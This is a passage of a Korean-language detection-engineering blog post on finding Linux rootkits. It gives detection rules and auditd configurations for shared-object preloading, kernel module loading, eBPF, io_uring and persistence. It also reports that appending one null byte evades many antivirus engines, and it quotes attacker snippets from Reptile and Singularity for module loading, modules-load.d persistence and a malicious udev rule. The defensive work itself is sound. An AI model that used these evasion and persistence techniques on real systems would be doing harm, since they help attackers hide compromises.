서문
1부에서는 Linux 루트킷의 진화, 분류 체계, 사용자 공간과 커널 공간을 조작하는 기술 등 루트킷의 작동 방식을 살펴보았습니다. 두 번째 파트에서는 탐지 엔지니어링을 살펴봅니다. 바이너리가 사소하게 수정된 경우에도 정적 탐지가 Linux 루트킷에 대해 종종 신뢰할 수 없는 이유를 보여주는 것부터 시작하여 방어자가 대신 사용할 수 있는 동작 및 런타임 신호로 넘어갑니다. 이 문서에서는 공유 객체 남용 및 LKM 로딩부터 eBPF, io_uring, 지속성 및 방어 회피에 이르기까지 실제 환경에서 루트킷 활동을 탐지하고 조사하는 실질적인 방법에 중점을 둡니다.
바이러스 토탈을 통한 정적 탐지
행동 탐지 기법에 집중하기 전에 기존의 정적 탐지 메커니즘이 Linux 루트킷을 얼마나 잘 식별하는지 살펴보는 것이 유용합니다. 이를 위해 기존 시그니처 기반 안티바이러스 탐지의 프록시로 VirusTotal을 사용하여 소규모 실험을 수행했습니다. 공개적으로 이용 가능한 연구 논문과 오픈 소스 리포지토리에서 10개의 Linux 루트킷 데이터 세트를 수집했습니다. 각 샘플은 VirusTotal에 업로드되거나 기존 제출물에서 검색되었습니다.
모든 루트킷에 대해 원본 바이너리에 플래그를 지정한 백신 엔진의 수를 기록했습니다. 그런 다음 두 가지 추가 테스트를 수행했습니다:
strip --strip-all을 사용하여 생성된 바이너리를 제거하여 심볼 테이블 및 기타 비필수 메타데이터를 제거합니다.- 원본 파일에 널 바이트 하나를 추가하여 만든 사소한 수정 바이너리: 의도적으로 정교하지 않게 변경한 것입니다.
목표는 고급 난독화를 통해 탐지를 회피하는 것이 아니라, 가장 단순한 바이너리 수정에도 정적 서명이 얼마나 취약한지를 평가하는 것이었습니다.
표 1: 분석된 루트킷 데이터 세트의 기술 개요
| Rootkit | 기본 탐지 | Stripped | 널 바이트 추가 |
|---|---|---|---|
| Azazel | 36/66 | 19/66 | 21/66 |
| 베데빌* | 32/66 | 32/66 | 21/66 |
| BrokePKG | 7/66 | 3/66 | 3/66 |
| 디아모르핀 | 33/66 | 8/64 | 22/66 |
| Kovid | 27/66 | 1/66 | 15/66 |
| Mobkit | 29/66 | 6/66 | 17/66 |
| 파충류 | 32/66 | 3/66 | 20/66 |
| Snapekit | 30/66 | 3/66 | 19/66 |
| 심비오트 | 42/66 | 8/66 | 22/66 |
| 트리플크로스 | 31/66 | 17/66 | 19/66 |
* 베데빌은 기본적으로 제거되어 있으므로 기본 탐지 및 제거된 탐지는 동일합니다.
관찰
예상대로 바이너리를 제거하면 일반적으로 탐지율이 급격히 떨어졌습니다. 일부 백신 엔진은 심볼 정보 또는 기타 쉽게 제거할 수 있는 메타데이터에 크게 의존하고 있음을 시사하는 탐지율이 거의 0에 가까운 경우도 있었습니다. 프로그램 로직, 실행 흐름 또는 동작을 변경하지 않으면서도 많은 샘플에 대한 탐지 성능을 크게 저하시키는 단일 널 바이트 추가의 영향은 더욱 분명합니다.
이는 정적 시그니처 기반 탐지의 근본적인 약점을 강조합니다. 1바이트의 변경이 탐지 결과에 의미 있는 영향을 미칠 수 있다면 공격자는 정적 스캐너를 회피하기 위해 정교한 난독화가 필요하지 않습니다.
루트킷의 난독화 기술
흥미롭게도 이 데이터 세트에 포함된 대부분의 루트킷은 고급 정적 난독화를 거의 또는 전혀 사용하지 않습니다. 난독화가 존재하는 경우, 일반적으로 문자열 또는 구성 데이터의 간단한 XOR 인코딩 또는 바이너리 레이아웃을 약간 변경하는 경량 패킹 기법으로 제한됩니다. 이러한 방법은 구현 비용이 저렴하고 많은 정적 서명을 무력화하기에 충분합니다.
이 샘플에는 고급 난독화가 적용되지 않았다는 점이 눈에 띕니다. 대부분의 루트킷은 탐지를 적극적으로 회피하기보다는 기술을 시연하기 위해 설계된 오픈 소스 개념 증명 루트킷입니다. 그러나 난독화를 최소화하거나 전혀 하지 않더라도 정적 감지는 신뢰할 수 없는 것으로 나타났습니다.
정적 탐지만으로는 충분하지 않은 이유
이 실험은 정적 탐지만으로는 신뢰할 수 있는 루트킷 탐지에 근본적으로 불충분하다는 핵심 사항을 강조합니다. 정적 서명의 취약성(특히 사소한 수정에도 취약함)은 방어자가 파일 기반 지표나 해시 기반 탐지에 의존하여 은밀한 위협을 발견할 수 없음을 의미합니다.
동작에 영향을 주지 않고 바이너리를 변경할 수 있는 경우, 유일하게 남는 일관된 신호는 런타임에 루트킷의 동작뿐입니다. 따라서 이 블로그의 나머지 부분에서는 정적 아티팩트에서 동적 분석 및 동작 탐지로 초점을 전환하여 루트킷이 운영 체제와 상호 작용하고 실행 흐름을 조작하며 실행 중에 관찰 가능한 흔적을 남기는 방법을 살펴봅니다.
바로 이 지점에서 탐지 엔지니어링은 더욱 도전적이면서도 훨씬 더 효과적입니다.
동적 탐지 엔지니어링
Userland 루트킷 로딩 탐지 기술
Userland 루트킷은 종종 동적 연결 프로세스를 탈취하여 커널 수준 액세스 없이도 악성 공유 개체를 대상 프로세스에 주입합니다. 감염은 공유 개체 파일 생성으로 시작됩니다. 새로 생성된 공유 객체 파일의 감지는 아래 표시된 것과 유사한 감지 규칙을 통해 감지할 수 있습니다:
file where event.action == "creation" and
(file.extension like~ "so" or file.name like~ "*.so.*")
이러한 파일은 종종 /tmp/, /dev/shm/, 또는 사용자 홈 디렉터리 아래의 숨겨진 하위 디렉터리와 같이 쓰기 가능하거나 임시 경로에 기록됩니다. 공격자는 로더에서 직접 다운로드, 컴파일 또는 드롭할 수 있습니다. 이 지식을 위의 탐지 규칙에 적용하여 노이즈를 줄일 수 있습니다.
예를 들어, 위에 표시된 원격 분석에서 위협 행위자가 scp 을 사용하여 공유 개체 파일을 /tmp 내의 숨겨진 하위 디렉터리로 다운로드한 다음 라이브러리 디렉터리로 이동하여 혼합을 시도하는 것을 볼 수 있습니다. 저희는 이 위협과 유사한 위협을 다음과 같은 경로를 통해 탐지했습니다:
공유 개체 파일이 시스템에 존재하면 공격자는 이를 활성화할 수 있는 몇 가지 옵션이 있습니다. 가장 일반적으로 악용되는 메커니즘은 LD_PRELOAD 환경 변수, /etc/ld.so.preload 파일, /etc/ld.so.conf 과 같은 동적 링커 구성 경로입니다.
LD_PRELOAD 환경 변수를 사용하면 공격자가 동적으로 연결된 바이너리를 실행하는 동안 다른 라이브러리보다 먼저 로드할 공유 객체를 지정할 수 있습니다. 이를 통해 execve(), open() 또는 readdir() 과 같은 libc 함수를 완전히 재정의할 수 있습니다. 이 방법은 프로세스 단위로 작동하며 루트 액세스 권한이 필요하지 않습니다.
이 기술을 탐지하려면 LD_PRELOAD 환경 변수에 대한 원격 분석이 필요합니다. 이 기능을 사용할 수 있게 되면 흔하지 않은 LD_PRELOAD 값을 감지하는 모든 감지 로직을 작성할 수 있습니다. 예를 들어
process where event.type == "start" and event.action == "exec" and
process.env_vars != null
그림 1에서 볼 수 있듯이 공격자들은 이 단계를 거쳐 다음 단계로 넘어갔습니다. 공격자는 libz.so.1 를 /tmp/.X12-unix/libz.so.1 에서 /usr/local/lib/libz.so.1 로 이동했습니다.
충실도를 높이기 위해 LD_PRELOAD 변수를 통해 이전에 보이지 않았던 공유 개체 항목에 대해서만 플래그를 지정하는 new_terms 규칙 유형을 사용하여 이 로직을 구현했습니다:
물론 LD_PRELOAD 및 LD_LIBRARY_PATH 환경 변수가 두 개 이상 수집되는 경우에는 위의 규칙을 변경하여 이 두 항목을 구체적으로 포함해야 합니다. 노이즈를 줄이려면 통계 분석 및/또는 기준선을 설정해야 합니다.
또 다른 활성화 방법은 /etc/ld.so.preload 파일을 활용하는 것입니다. 이 파일이 있으면 동적 링커가 나열된 공유 객체를 시스템의 모든 동적으로 연결된 바이너리에 강제로 주입하여 전역 주입을 수행합니다.
비슷한 방법으로 동적 링커의 구성을 변경하여 악성 라이브러리 경로의 우선순위를 지정하는 방법도 있습니다. /etc/ld.so.conf 을 수정하거나 /etc/ld.so.conf.d/ 에 항목을 추가한 다음 ldconfig 을 실행하여 캐시를 업데이트하면 됩니다. 이렇게 하면 libc.so.6 과 같은 중요한 라이브러리의 해상도 경로가 변경됩니다.
이러한 시나리오는 /etc/ld.so.preload 및 /etc/ld.so.conf 파일과 /etc/ld.so.conf.d/ 디렉터리에서 생성/수정 이벤트를 모니터링하여 감지할 수 있습니다. 이 원시 원격 분석을 사용하여 이러한 이벤트에 플래그를 지정하는 탐지 규칙을 구현할 수 있습니다:
file where event.action in ("creation", "rename") and
file.path like ("/etc/ld.so.preload", "/etc/ld.so.conf", "/etc/ld.so.conf.d/*")
공유 객체가 생성된 다음 동적 링커가 수정되는 이 체인을 자주 볼 수 있습니다.
다음 탐지 규칙을 통해 탐지합니다:
단일 호스트에서 이 두 가지 알림을 함께 연결하면 조사가 필요합니다.
커널 공간 루트킷 로딩 탐지 기법
LKM을 수동으로 로드하려면 일반적으로 modprobe, insmod, kmod 과 같은 기본 제공 명령줄 유틸리티를 사용해야 합니다. 이러한 유틸리티의 실행을 감지하면 로딩 단계가 감지됩니다(수동으로 수행하는 경우).
process where event.type == "start" and event.action == "exec" and (
(process.name == "kmod" and process.args == "insmod" and
process.args like~ "*.ko*") or
(process.name == "kmod" and process.args == "modprobe" and
not process.args in ("-r", "--remove")) or
(process.name == "insmod" and process.args like~ "*.ko*") or
(process.name == "modprobe" and not process.args in ("-r", "--remove"))
)
많은 오픈 소스 루트킷은 로더 없이 게시되며 사전 설치된 LKM 로딩 유틸리티에 의존합니다. 예를 들어 Singularity는 load_and_persistence.sh 스크립트를 제공하여 여러 작업을 수행한 후 최종적으로 insmod "$MODULE_DIR/$MODULE_NAME.ko" 을 호출합니다. 명령에서는 insmod 이라고 호출되지만 실제로는 insmod 이 kmod 이며, insmod 을 프로세스 인수로 사용합니다. 특이점 로드의 예시입니다:
다음 탐지 규칙을 통해 쉽게 탐지할 수 있습니다:
그러나 많은 루트킷이 로더에 의존하여 LKM을 로드하므로 이러한 사용자 영역 유틸리티의 실행을 우회하기 때문에 이 탐지 방식은 방탄과는 거리가 멉니다.
예를 들어, Reptile의 로더는 인메모리 해독된 커널 블롭을 사용하여 init_module 시스콜을 직접 호출합니다:
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
int main(void) {
[...]
do_decrypt(reptile_blob, len, DECRYPT_KEY);
module_image = malloc(len);
memcpy(module_image, reptile_blob, len);
init_module(module_image, len, "");
[...]
}
또한 Reptile의 kmatryoshka 모듈은 kallsyms_on_each_symbol() 을 통해 위치한 sys_init_module 에 대한 직접 함수 포인터를 사용하여 숨겨진 다른 LKM을 해독하고 로드하는 인커널 체인로더 역할을 합니다. 이렇게 하면 로딩 메커니즘이 사용자 영역 가시성에서 더욱 가려집니다.
따라서 이러한 유틸리티는 init_module() 및 finit_module() 시스템 호출의 래퍼에 불과하므로 내부적으로 어떤 기능을 하는지 이해하는 것이 중요합니다. 따라서 효과적인 탐지는 이러한 시스콜을 호출하는 툴링이 아니라 직접 추적하는 데 초점을 맞춰야 합니다.
LKM을 로드하는 데 필요한 데이터 소스의 가용성을 보장하기 위해 다양한 보안 도구를 사용할 수 있습니다. 감사 또는 감사 관리자가 적합한 선택입니다. init_module() 및 finit_module 시스템 호출의 수집을 용이하게 하기 위해 후속 구성을 구현할 수 있습니다.
-a always,exit -F arch=b64 -S finit_module -S init_module
-a always,exit -F arch=b32 -S finit_module -S init_module
이 원시 원격 분석과 이벤트 발생 시 경고를 보내는 탐지 규칙을 결합하면 강력한 방어가 가능합니다.
driver where event.action == "loaded-kernel-module" and
auditd.data.syscall in ("init_module", "finit_module")
이 전략을 사용하면 로딩 이벤트에 사용되는 유틸리티에 관계없이 커널 모듈 로딩을 감지할 수 있습니다. 아래 예시에서는 디아모르핀 루트킷이 실제 양성으로 탐지된 것을 확인할 수 있습니다.
이 사전 구축된 규칙은 여기에서 확인할 수 있습니다:
Auditd를 통한 추가 Linux 탐지 엔지니어링 지침은 Auditd를 사용한 Linux 탐지 엔지니어링 연구에 나와 있습니다.
트리 외부 및 서명되지 않은 모듈
악성 LKM의 또 다른 징후는 커널 "오염" 플래그의 존재입니다. 커널이 공식 커널 트리에 속하지 않거나 유효한 서명이 없거나 허용되지 않는 라이선스를 사용하는 모듈이 로드된 것을 감지하면 커널을 "오염된" 것으로 표시합니다. 이는 커널이 잠재적으로 신뢰할 수 없는 상태에 있음을 나타내는 기본 제공 무결성 메커니즘입니다. 아래는 reveng_rtkit 모듈이 로드된 예시입니다:
[ 2853.023215] reveng_rtkit: loading out-of-tree module taints kernel.
[ 2853.023219] reveng_rtkit: module license 'unspecified' taints kernel.
[ 2853.023220] Disabling lock debugging due to kernel taint
[ 2853.023297] reveng_rtkit: module verification failed: signature and/or required key missing - tainting kernel
커널은 모듈이 지정되지 않은 라이선스가 있고 암호화 검증이 누락된 트리를 벗어난 것으로 식별합니다. 그 결과 커널이 오염된 것으로 표시됩니다.
이 동작을 감지하려면 시스템 및 커널 로깅을 파싱하고 수집해야 합니다. 커널 로그 원격 분석이 가능해지면 간단한 패턴 일치 또는 규칙 기반 탐지를 통해 이러한 이벤트에 플래그를 지정할 수 있습니다. 트리 외부 모듈 로딩을 통해 감지할 수 있습니다:
event.dataset:"system.syslog" and process.name:"kernel" and
message:"loading out-of-tree module taints kernel."
또한 서명되지 않은 모듈 로딩을 감지하기 위해 유사한 감지 로직을 구현할 수 있습니다:
event.dataset:"system.syslog" and process.name:"kernel" and
message:"module verification failed: signature and/or required key missing - tainting kernel"
위의 탐지 로직을 사용하여 싱귤래리티를 로드하려고 시도한 원격 측정에서 정탐을 관찰했습니다:
이러한 규칙은 기본적으로 다음에서 사용할 수 있습니다:
로그 항목에는 항상 이벤트를 트리거한 모듈 이름이 표시되므로 쉽게 분류할 수 있습니다. 이 경고에 의해 트리거된 수동 확인 중에 LKM이 시스템에 존재하지 않으면 LKM이 스스로 숨어 있는 것일 수 있습니다.
킬 신호
많은 (오픈 소스) 루트킷은 kill 신호, 특히 할당되지 않은 더 높은 범위(32+)의 신호를 은밀한 통신 채널 또는 악의적인 동작의 트리거로 활용합니다. 예를 들어, 루트킷은 특정 높은 번호의 kill 신호(예: kill -64 <pid>)를 가로챌 수 있습니다. 이 신호를 수신하면 루트킷의 페이로드가 권한 상승, 명령 실행, 숨김 기능 토글, 백도어 설정 등을 수행하도록 구성될 수 있습니다.
이를 감지하기 위해 Auditd를 활용하고 모든 킬 신호를 수집하는 규칙을 만들 수 있습니다:
-a exit,always -F arch=b64 -S kill -k kill_rule
kill() 에 전달된 인수는 kill(pid, sig) 입니다. a1 (신호)를 쿼리하여 32를 초과하는 킬 신호에 플래그를 지정할 수 있습니다.
process where event.action == "killed-pid" and
auditd.data.syscall == "kill" and auditd.data.a1 in (
"21", "22", "23", "24", "25", "26", "27", "28", "29", "2a",
"2b", "2c", "2d", "2e", "2f", "30", "31", "32", "33", "34",
"35", "36", "37", "38", "39", "3a", "3b", "3c", "3d", "3e",
"3f", "40", "41", "42", "43", "44", "45", "46", "47"
)
Auditd를 통해 kill() 시스템 호출에서 비정상적인 신호 값을 분석하면 Diamorphine에서 사용하는 기법에서 볼 수 있듯이 이러한 신호를 활용하는 루트킷에 대한 강력한 탐지 기회를 얻을 수 있습니다. 킬 관련 사전 작성된 규칙은 다음에서 확인할 수 있습니다:
세그폴트
마지막으로 커널 공간 루트킷은 본질적으로 취약하다는 점을 인식하는 것이 중요합니다. LKM은 일반적으로 특정 커널 버전 및 구성에 맞게 컴파일됩니다. 잘못 확인된 심볼 또는 잘못 정렬된 메모리 쓰기가 세분화 오류를 유발할 수 있습니다. 이러한 실패로 인해 루트킷의 기능이 즉시 노출되지는 않지만 강력한 포렌식 신호를 제공합니다.
이를 감지하려면 원시 시스템 로그 수집을 사용하도록 설정해야 합니다. 거기에서 세그폴트 메시지에 플래그를 지정하는 탐지 규칙을 작성하면 악의적인 동작이나 커널 불안정성을 식별하는 데 도움이 될 수 있으며, 이 두 가지 모두 조사가 필요합니다:
event.dataset:"system.syslog" and process.name:"kernel" and message:"segfault"
이 탐지 규칙은 빌딩 블록 규칙으로 바로 사용할 수 있습니다:
시스템 호출 수준의 모듈 로딩 가시성과 커널 오염, 트리 외 메시지, 킬 신호 탐지, 세그폴트 경고를 결합하면 LKM 기반 루트킷을 탐지하기 위한 계층화된 전략의 토대가 마련됩니다.
eBPF 루트킷
eBPF 루트킷은 Linux 커널의 BPF 하위 시스템의 합법적인 기능을 악용합니다. 프로그램은 bpftool 같은 유틸리티를 사용하거나 bpf() 시스템 호출을 악용하는 사용자 지정 로더를 통해 동적으로 로드 및 첨부할 수 있습니다.
eBPF 기반 루트킷을 탐지하려면 bpf() 시스템 호출과 민감한 eBPF 헬퍼 사용에 대한 가시성이 모두 필요합니다. 관련된 주요 지표는 다음과 같습니다:
bpf(BPF_MAP_CREATE, ...)bpf(BPF_MAP_LOOKUP_ELEM, ...)bpf(BPF_MAP_UPDATE_ELEM, ...)bpf(BPF_PROG_LOAD, ...)bpf(BPF_PROG_ATTACH, ...)
Auditd를 활용하여 a0 를 활용하여 관심 있는 특정 BPF 시스템 호출을 지정하는 감사 규칙을 만들 수 있습니다:
-a always,exit -F arch=b64 -S bpf -F a0=0 -k bpf_map_create
-a always,exit -F arch=b64 -S bpf -F a0=1 -k bpf_map_lookup_elem
-a always,exit -F arch=b64 -S bpf -F a0=2 -k bpf_map_update_elem
-a always,exit -F arch=b64 -S bpf -F a0=5 -k bpf_prog_load
-a always,exit -F arch=b64 -S bpf -F a0=8 -k bpf_prog_attach
eBPF를 활용하는 양성 프로그램(예: EDR 또는 기타 통합 가시성 도구)이 노이즈를 발생시키지 않도록 환경별로 조정해야 합니다. 또 다른 중요한 신호는 eBPF 도우미 기능의 사용입니다.
bpf_probe_write_user 도우미 함수
bpf_probe_write_user 헬퍼를 사용하면 커널 공간 eBPF 프로그램이 사용자 영역 메모리에 직접 쓸 수 있습니다. 이 기능은 디버깅을 위한 것이지만 루트킷에 의해 악용될 수 있습니다.
탐지는 여전히 어렵지만 Linux 커널은 일반적으로 bpf_probe_write_user 과 같은 민감한 헬퍼의 사용을 기록합니다. 이러한 항목에 대한 모니터링은 탐지 기회를 제공하며, 원시 시스템 로그 수집 및 다음과 같은 특정 탐지 규칙이 필요합니다:
event.dataset:"system.syslog" and process.name:"kernel" and
message:"bpf_probe_write_user"
이 규칙은 bpf_probe_write_user 의 사용을 나타내는 모든 커널 로그 항목에 대해 경고합니다. 합법적인 도구가 간혹 이 기능을 호출할 수 있지만, 특히 의심스러운 프로세스 동작과 함께 예기치 않게 자주 사용된다면 조사가 필요합니다. eBPF 프로그램의 첨부 지점 및 관련 사용자국 프로세스와 같은 컨텍스트는 분류에 도움이 됩니다. 이 탐지 규칙은 여기에서 확인할 수 있습니다:
다음은 이 로직에 의해 감지된 몇 가지 명백한 오탐의 예입니다:
이 규칙은 nysm (은밀한 익스플로잇 후 컨테이너)과 boopkit (Linux eBPF 백도어)에서 트리거됩니다.
io_uring 루트킷
ARMO 연구 (2025)에서는 비동기 I/O를 위한 설계인 io_uring 를 활용하여 관찰 가능한 시스템 호출 활동을 줄이고 표준 원격 측정을 우회하는 새로운 방어 회피 기법을 소개했습니다. 이 기술은 커널 버전 5.1 이상으로 제한되며 후크 사용을 피합니다. 이 방법은 루트킷 연구자들에 의해 최근에 발견되었지만, 아직 활발히 개발 중이며 기능 면에서 비교적 미숙한 상태입니다. 이 기술을 활용하는 도구의 예로는 RingReaper가 있습니다. 루트킷은 io_uring_enter() 을 통해 파일, 네트워크 및 기타 I/O 작업을 일괄 처리할 수 있습니다. 코드 예시는 아래와 같습니다.
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, fd, buf, size, offset);
io_uring_submit(&ring);
이러한 호출은 일반적인 시스템 호출 원격 분석 경로를 우회하여 io_uring 을 사용하여 읽기 요청을 대기열에 추가하고 제출합니다.
시스콜 테이블 후킹이나 LD_PRELOAD기반 인젝션과 달리 io_uring 은 루트킷 전달 메커니즘 자체는 아니지만, 손상 후 파일 시스템 및 디바이스와 상호 작용하는 더 은밀한 수단을 제공합니다. io_uring 은 바이너리를 직접 실행할 수는 없지만( execve과 같은 기능이 없기 때문에) 파일 생성, 열거, 데이터 유출과 같은 악의적인 작업을 가능하게 하면서도 관찰 가능성을 최소화할 수 있습니다.
io_uring-기반 루트킷을 탐지하려면 io_uring_setup(), io_uring_enter(), io_uring_register() 과 같은 루트킷의 작동을 뒷받침하는 시스템 호출에 대한 가시성이 필요합니다 .
EDR 솔루션은 io_uring 의 간접적인 영향을 포착하는 데 어려움을 겪을 수 있지만, Auditd는 이러한 시스템 호출을 직접 추적할 수 있습니다. 다음 감사 규칙은 분석을 위해 관련 이벤트를 캡처합니다:
-a always,exit -F arch=b64 -k io_uring
-S io_uring_setup -S io_uring_enter -S io_uring_register
그러나 이렇게 하면 액세스 중인 특정 파일이나 개체가 아닌 시스템 호출 사용량 자체만 노출됩니다. io_uring 의 실제 "마법" 은 유저랜드 라이브러리(예: liburing) 내에서 발생하므로 시스템 호출 인수를 분석하는 것이 필수적입니다.
예를 들어 to_submit > 0 으로 io_uring_enter() 을 모니터링하면 I/O 작업이 일괄 처리되고 있음을 나타내며, min_complete > 0 로 번갈아 호출하면 완료 폴링이 이루어지고 있음을 나타냅니다. 프로세스 속성(예: UID=0, /dev/shm, /tmp, tmpfs-지원 위치 등 비정상적인 경로)과 연관시키면 탐지 효과가 향상됩니다.
io_uring 활동을 추적하는 실용적인 방법은 BCC 과 같은 도구를 사용하여 sys_enter_io_uring_enter 과 같은 추적 지점을 대상으로 하는 eBPF 를 사용하는 것입니다. 이를 통해 분석가는 io_uring 작업 중에 프로세스 동작과 활성 파일 설명자를 모니터링할 수 있습니다:
tracepoint:syscalls:sys_enter_io_uring_enter
{
printf("\nPID %d (%s) called io_uring_enter with fd=%d, to_submit=%d, min_complete=%d, flags=%d\n",
pid, comm, args->fd, args->to_submit, args->min_complete, args->flags);
printf("Manually inspect with: ls -l /proc/%d/fd\n", pid);
}
이를 설명하기 위해 링리퍼에서 도입한 몇 가지 기술을 테스트했습니다. 실시간 추적은 사용 중인 파일 설명자를 표시하여 /run/utmp 에서 읽는 것과 같은 의심스러운 활동을 식별하여 어떤 사용자가 로그인했는지 감지하는 데 도움이 됩니다:
이 예제에서는 파일에 쓰는 활동( /root/test) 입니다:
또는 ps 에서 각 활성 PID에 대한 comm 내용을 읽고 프로세스 정보를 나열합니다:
시스템 호출 모니터링은 io_uring 사용량을 노출하지만, 추가적인 상관관계 없이 I/O의 특성을 직접적으로 드러내지는 않습니다. io_uring 는 비교적 새로운 기술이기 때문에 아직은 잘 알려지지 않았지만 몇 가지 한계도 있습니다. io_uring 는 코드를 직접 실행할 수 없지만, 공격자는 파일 쓰기(예: 크론 작업, udev 규칙)를 악용하여 지연 또는 간접 실행을 달성할 수 있으며, 이는 Reptile 및 Sedexp 멀웨어 제품군에서 사용되는 지속성 기법에서 알 수 있듯이 입증되었습니다.
루트킷 지속성 기술
루트킷은 사용자 영역에 있든 커널 공간에 있든 재부팅 또는 사용자 세션에서 기능을 유지하려면 어떤 형태로든 지속성이 필요합니다. 방법은 루트킷의 유형과 권한에 따라 다르지만 일반적으로 구성 파일, 서비스 관리 또는 시스템 초기화 스크립트를 악용하는 경우가 많습니다.
Userland 루트킷 - 환경 변수 지속성
LD_PRELOAD 을 사용하여 유저랜드 루트킷을 활성화하는 경우 기본적으로 동작이 지속적이지 않습니다. 공격자는 지속성을 확보하기 위해 셸 초기화 파일(예: ~/.bashrc, ~/.zshrc, 또는 /etc/profile)을 수정하여 LD_PRELOAD 또는 LD_LIBRARY_PATH 과 같은 환경 변수를 내보낼 수 있습니다. 이러한 수정으로 모든 새 셸 세션은 루트킷을 활성화하는 데 필요한 환경을 자동으로 상속받습니다. 특히 이러한 파일은 사용자 및 루트 컨텍스트에 모두 존재합니다. 따라서 권한이 없는 사용자도 자신의 권한 수준에서 실행 흐름을 가로채는 지속성을 도입할 수 있습니다.
이를 감지하기 위해 아래에 표시된 것과 유사한 규칙을 사용할 수 있습니다:
file where event.action in ("rename", "creation") and file.path like (
// system-wide configurations
"/etc/profile", "/etc/profile.d/*", "/etc/bash.bashrc",
"/etc/bash.bash_logout", "/etc/zsh/*", "/etc/csh.cshrc",
"/etc/csh.login", "/etc/fish/config.fish", "/etc/ksh.kshrc",
// root and user configurations
"/home/*/.profile", "/home/*/.bashrc", "/home/*/.bash_login",
"/home/*/.bash_logout", "/home/*/.bash_profile", "/root/.profile",
"/root/.bashrc", "/root/.bash_login", "/root/.bash_logout",
"/root/.bash_profile", "/root/.bash_aliases", "/home/*/.bash_aliases",
"/home/*/.zprofile", "/home/*/.zshrc", "/root/.zprofile", "/root/.zshrc",
"/home/*/.cshrc", "/home/*/.login", "/home/*/.logout", "/root/.cshrc",
"/root/.login", "/root/.logout", "/home/*/.config/fish/config.fish",
"/root/.config/fish/config.fish", "/home/*/.kshrc", "/root/.kshrc"
)
환경에 따라 이러한 셸 중 일부가 사용되지 않을 수 있으며, 예를 들어 bash 또는 zsh 에만 초점을 맞춘 맞춤형 탐지 규칙이 만들어질 수 있습니다. Elastic Defend와 Elastic의 파일 무결성 모니터링 통합을 사용하는 전체 탐지 로직은 여기에서 확인할 수 있습니다:
남용을 탐지하는 몇 가지 다른 방법을 포함하여 이 지속성 기법에 대한 자세한 내용은 Linux 탐지 엔지니어링 - 지속성 메커니즘에 대한 입문서에서 확인할 수 있습니다.
Userland 루트킷 - 구성 기반 지속성
/etc/ld.so.preload, /etc/ld.so.conf 또는 /etc/ld.so.conf.d/ 구성 파일을 수정하면 루트킷이 사용자와 세션 전체에 걸쳐 전역적으로 지속될 수 있습니다(이 지속성 벡터에 대한 자세한 내용은 Linux 탐지 엔지니어링 - 지속성 메커니즘에 대한 연속편에서 확인할 수 있습니다). 일단 작성된 동적 링커는 이러한 구성을 명시적으로 되돌리지 않는 한 악성 공유 객체를 계속 주입합니다. 이러한 방법은 설계상 영구적입니다. 탐지 전략은 이전 섹션에서 설명한 것과 유사하며 이러한 경로에서 파일 생성 또는 수정 이벤트를 모니터링하는 데 의존합니다.
커널 공간 루트킷 - LKM 지속성
유저랜드 루트킷과 마찬가지로 LKM은 기본적으로 영구적이지 않습니다. 공격자는 부팅 시 악성 모듈을 다시 로드하도록 시스템을 명시적으로 구성해야 합니다. 이는 일반적으로 합법적인 커널 모듈 로딩 메커니즘을 활용하여 달성할 수 있습니다:
모듈 파일: modules
이 파일에는 시스템 시작 시 자동으로 로드해야 하는 커널 모듈이 나열되어 있습니다. 여기에 악성 .ko 파일 이름을 추가하면 modprobe 부팅 시 해당 파일이 로드됩니다. 이 파일은 /etc/modules 에 있습니다.
다음 구성 디렉터리 modprobe
이 디렉터리에는 modprobe 유틸리티의 구성 파일이 포함되어 있습니다. 공격자는 앨리어싱을 사용하여 루트킷을 위장하거나 특정 커널 이벤트가 발생할 때(예: 디바이스가 프로브될 때) 루트킷을 자동 로드할 수 있습니다. 이러한 모드프로브 구성 파일은 /etc/modprobe.d/, /run/modprobe.d/, /usr/local/lib/modprobe.d/, /usr/lib/modprobe.d/, /lib/modprobe.d/ 에 있습니다.
부팅 시 로드할 커널 모듈을 구성합니다: modules-load.d
이러한 구성 파일은 부팅 프로세스 초기에 로드할 모듈을 지정하며 /etc/modules-load.d/, /run/modules-load.d/, /usr/local/lib/modules-load.d/, /usr/lib/modules-load.d/ 에 있습니다.
위에 나열된 모든 지속성 기법을 탐지하려면 아래와 유사한 탐지 규칙을 만들 수 있습니다:
file where event.action in ("rename", "creation") and file.path like (
"/etc/modules",
"/etc/modprobe.d/*",
"/run/modprobe.d/*",
"/usr/local/lib/modprobe.d/*",
"/usr/lib/modprobe.d/*",
"/lib/modprobe.d/*",
"/etc/modules-load.d/*",
"/run/modules-load.d/*",
"/usr/local/lib/modules-load.d/*",
"/usr/lib/modules-load.d/*"
)
위에 나열된 모든 경로를 단일 탐지 규칙으로 결합하는 이 사전 구축된 규칙은 여기에서 확인할 수 있습니다:
이 방법을 사용하여 지속성을 자동으로 배포하는 루트킷의 예로는 싱귤래리티가 있습니다. 배포 내에서 다음 명령이 실행됩니다:
read -p "Enter the module name (without .ko): " MODULE_NAME
CONF_DIR="/etc/modules-load.d"
mkdir -p "$CONF_DIR"
echo "[*] Setting up persistence..."
echo "$MODULE_NAME" > "$CONF_DIR/$MODULE_NAME.conf"
기본적으로 singularity.conf 은 /etc/modules-load.d/ 아래에 새 항목으로 만들어집니다. 원격 분석을 살펴보면, 새로운 파일 생성을 모니터링하는 것만으로도 이 기법을 감지할 수 있습니다:
이러한 디렉토리는 양성 LKM에도 사용되므로 오탐이 발생하기 쉽습니다. 또 다른 지속성 방법으로는 트리거 또는 스케줄 기반 기술을 사용하여 로더를 실행하여 커널 모듈을 로드하는 방법이 있습니다.
Udev 기반 지속성 - 파충류 예시
덜 일반적이지만 강력한 지속성 방법으로는 동적 장치 이벤트를 처리하는 Linux 장치 관리자 udev를 악용하는 방법이 있습니다. Udev는 특정 조건이 충족되면 규칙 기반 스크립트를 실행합니다. 이 기술에 대한 자세한 분석은 Linux 탐지 엔지니어링 - 지속성 메커니즘에 대한 속편에 나와 있습니다. Reptile 루트킷은 /etc/udev/rules.d/ 에 악성 udev 규칙을 설치하여 이 기술을 시연합니다:
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile"
이 규칙은 레벨블루가 발견한 Sedexp 멀웨어에서 영감을 얻은 것으로 보입니다. 규칙의 작동 방식은 다음과 같습니다:
